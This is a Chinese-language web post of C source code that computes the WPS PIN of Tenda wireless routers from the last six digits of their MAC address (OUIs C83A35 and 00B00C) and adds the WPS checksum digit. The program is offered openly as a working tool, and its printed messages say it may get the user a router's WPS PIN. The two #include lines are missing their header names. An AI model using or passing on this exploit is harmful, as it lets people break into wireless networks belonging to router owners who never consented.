已知MAC计算PIN程序 C 程序源码[VC/C++编程]

　　//Computes PIN code starts with OUI "C83A35" and "00B00C"

　　//Both two OUIs which belonged to Tenda Technology Co., Ltd are confirmed effectively.

　　//Coded by Zhaochunsheng - iBeini.com

　　//Modified by Lingxi - WiFiBETA.COM

　　#include

　　#include

　　int main()

　　{

　　unsigned int wps_pin_checksum(unsigned int pin);

　　int PIN = 0;

　　// printf("ComputePIN-C83A35\n");

　　printf("Description:\n");

　　printf("If your wireless router MAC address start with \"C83A35\" or \"00B00C\",\n");

　　printf("type the other six digits, you might be able to get the \n");

　　printf("WPS-PIN of this equipment, please have a try, good luck!\n\n");

　　printf("Code by ZhaoChunsheng 04/07/2012 http://iBeini.com\n\n");

　　printf("Modified by Lingxi - WiFiBETA.COM\n\n");

　　//Translated to Chinese

　　printf("阐明:\n");

　　printf("假如您的无线路由器MAC地址以“C83A35”或“00B00C”打头,\n");

　　printf("输入后六位MAC地址(不分大小写)您大概可以得到该路由的WPS PIN密钥!\n");

　　printf("祝你好运!\n\n");

　　printf("由赵春生编写于2012年4月7日 Http://iBeini.com\n");

　　printf("由灵曦改正并汉化 WiFiBETA.COM\n\n");

　　printf("请输入后六位MAC地址(HEX):\n");

　　printf("Input the last 6 digits of MAC Address(HEX):");

　　scanf("%x",&PIN);

　　printf("您输入的后六位MAC地址是 %X\n",PIN);

　　printf("Last 6 digits of MAC Address(HEX) are: %X\n",PIN);

　　printf("WPS PIN is: %07d%d\n",PIN%10000000,wps_pin_checksum(PIN%10000000));

　　return 0;

　　}

　　unsigned int wps_pin_checksum(unsigned int pin)

　　{

　　unsigned int accum = 0;

　　while (pin)

　　{

　　accum += 3 * (pin % 10);

　　pin /= 10;

　　accum += pin % 10;

　　pin /= 10;

　　}

　　return (10 - accum % 10) % 10;

　　}